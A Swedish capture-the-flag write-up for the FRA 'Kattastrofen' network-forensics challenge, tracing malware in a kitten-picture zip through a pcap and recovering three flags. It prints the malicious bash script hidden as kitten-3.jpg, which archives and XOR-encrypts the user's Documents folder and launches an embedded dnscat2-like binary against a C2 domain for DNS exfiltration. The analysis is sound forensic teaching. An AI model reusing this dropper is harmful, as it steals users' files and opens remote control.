Skip to main content
  1. fra-challenge-writeups/

FRA Challenge Write-up: Kattastrofen

Table of Contents
This write-up is in Swedish. I may translate it to English in the future.

“En statstjänsteman på en skyddsvärd myndighet är svag för bilder på kattungar. I sin iver att ta del av fler sådana bilder, har hen råkat ladda ned något som inte var bra. Inte alls bra. Vi misstänker att skadlig kod har använts för att exfiltrera topphemlig data från myndigheten. Analysera nätverkstrafiken för att ta reda på vad som har hänt.

(1 756 473 bytes, sha256: d2efcecc7d136e8d296de7bded63223878a058f6135ee608f6662971c54a8e9a)”

Flaggor
#

flagga1{klassiska_lösenord_för_100}
flagga2{every_day_is_caturday}
flagga3{mj4u!}

Sammanfattning av incidenten
#

Tjänstemannen besökte hemsidan cute0verload.com och laddade ned ett kompendium av kattbilder (kittens.zip). En av filerna i kompendiet (kitten-3.jpg) innehöll ett skadligt program (dnscat2) som möjliggör det för utomstående aktörer att styra datorn och överföra filer. Filen /home/user/Documents/topphämligt.pdf, som innehåller obfuskerad kod och döljer ett hemligt meddelande, exfiltrerades från datorn.

Tekniskt detaljerad beskrivning
#

Nätverkstrafiken i kattastrofen.pcap visar att cute0overload.com besöktes och kittens.zip laddades ned från sidan. Strax därefter påbörjas en onaturlig DNS-trafik (sett till mängd, frekvens och innehåll) till cutekittenzz.xyz.

kittens.zip innehåller filen flag med texten “flagga1{klassiska_lösenord_för_100}”. Utöver några genuina kattbilder innehåller den även kitten-3.jpg, som i själva verket är ett bash-script:

#!/bin/bash

D=$(dirname "$0")
eog "$D/kitten-9.jpg" &

key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; do od -An -vtu1 -w1 /tmp/key; done) \
  | LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' | base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat

base64 -d > mjau << 'EOM'
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgCkAAAAAAABAAAAAAAAAACgrBQAAAAAAAAAAAEAAOAAN
AEAAJgAlAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAAAAGAMAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAbAAAAAAAAoBsAAAAAAAAAEAAA
...
AAAAAAAAAAAAAAAAAAAA
EOM
chmod +x mjau
./mjau cutekittenzz.xyz

Om scriptet körs så öppnas först en kattbild, innan det fortsätter arbeta i bakgrunden. Scriptet är uppdelat i två delar:

  1. Först kopierar och komprimerar scriptet allt som finns i $HOME/Documents-mappen, och krypterar detta med ett Vigenère-skiffer. Denna data tillsammans med metadata sparas sedan i /tmp/exfil.dat och kommer, liksom andra temporära filer som scriptet använder, automatiskt tas bort när datorn startas om.

  2. Scriptet innehåller ett base64-kodad program (en ELF-fil) som den avkodar och sparar på datorn under namnet mjau. Scriptet avslutar med att köra detta program med ett argument: ./mjau cutekittenzz.xyz

Av allt att dömma tycks mjau vara en kopia av dnscat2, ett C2 verktyg över DNS vars kommunikationsprotokoll stämmer överens med den onaturliga DNS-trafiken som observerats. Den data som exfiltrerats med hjälp av verktyget kan fås ur pcap-filen med en modifierad version av DNScat-Decoder.

python dnscat_decoder.py kattastrofen.pcap cutekittenzz.xyz dnscat_exfil_data

Då skapas filen dnscat_exfil_data med den data som exfiltrerades:

command (ubuntu)\00\00␇\CF̀␁\00␃EXFIL Mon 05 Feb 2024 05:09:02 AM PST
SIZE: 378880
9d9b374c33a8672f8f8f1af871d7d04f  /tmp/exfil.tar
BEGIN DATA
VzPHgveEZZd0rGP0URmNJeIODNbg0fmK+N5+kDdBcgU/XKrn2PEW8gaDJ5sybOBAjHp/+eDR+Yr4
3n6QN0FyBT9cqufY8RbyBoMnmzJs4ECMen/54NH5ivjefpA3QXIFP1yq5+jBJsIxthKbAlzQcbtP
T/nQ4cm7z+tOkAdxQjUPbJrX6MEm8je3Eq4HW9B3uE1M+dDgyr7O6n6wAkFyBT9cqufY8RbyBoMn
mzJs4ECMen/54NH5ivjefpA3QXIFP1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU/XKrn
...
FvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU/XKrn2PEW8gaDJ5sybOBAjHp/+eDR+Yr43n6QN0Fy
BQ==
END DATA

Sedan kan extract_and_decrypt.py köras för att, med hjälp av samma Vigenèrenyckel som vid krypteringen, avkryptera och återfå den exfiltrerade filen exfil.tar. I detta arkiv finns filen /home/user/Documents/topphemligt.pdf, som alltså kopierats från på tjänstemannens dator. Dokumentet visar en bild på en katt och texten “flagga2{every_day_is_caturday}”.

Dokumentet innehåller även en dold hex-sträng:

$ strings topphemligt.pdf | grep /js
/js <5B5D5B28215B5D2B5B5D295B2B5B5D5D2B28215B5D2B5B5D295B212B5B5D2B212B5B5D5
D2B28215B5D2B5B5D295B2B212B5B5D5D2B2821215B5D2B5B5D295B2B5B5D5D5D5B285B5D5B2
8215B5D2B5B5D295B2B5B5D5D2B28215B5D2B5B5D295B212B5B5D2B212B5B5D5D2B28215B5D2
B5B5D295B2B212B5B5D5D2B2821215B5D2B5B5D295B2B5B5D5D5D2B5B5D295B212B5B5D2B212
...
12B5B5D5D5D28295B2B212B5B5D2B5B212B5B5D2B212B5B5D5D5D292829290A0A>

som avkodas till

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![
]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]
+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[
...
[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())

Detta är obfuskerad JavaScript-kod. Med ett verktyg såsom Decoder-JSFuck fås den ekvivalenta deobfuskerade koden:

const data = [
  0n,
  16777216n,
  963362762567186450219276n,
  1227815285621149424943362n,
  4251180420234710034485506n,
  1227908978741191150735617n,
  1228942000327703451209986n,
  1229089574843243084713986n,
  1229089574913611821027586n,
  1276163323341699551654156n,
  1170935903267323904n,
  16393102643729268736n,
];
if (0.1 + 0.2 == 0.3) {
  let str = "";
  for (let x of data) {
    str += x.toString(2).padStart(106, "0") + "\n";
  }
  app.alert(str.replaceAll("0", " ").replaceAll("1", "."));
}

If-satsen körs aldrig (p.g.a. floating-point error), men evaluerar man istället

const data = [
  0n,
  16777216n,
  963362762567186450219276n,
  1227815285621149424943362n,
  4251180420234710034485506n,
  1227908978741191150735617n,
  1228942000327703451209986n,
  1229089574843243084713986n,
  1229089574913611821027586n,
  1276163323341699551654156n,
  1170935903267323904n,
  16393102643729268736n,
];
let str = "";
for (let x of data) {
  str += x.toString(2).padStart(106, "0") + "\n";
}
str = str.replaceAll("0", " ").replaceAll("1", ".");

håller str sedan en binär bild motsvarande den nedan.

flagga3{mj4u!}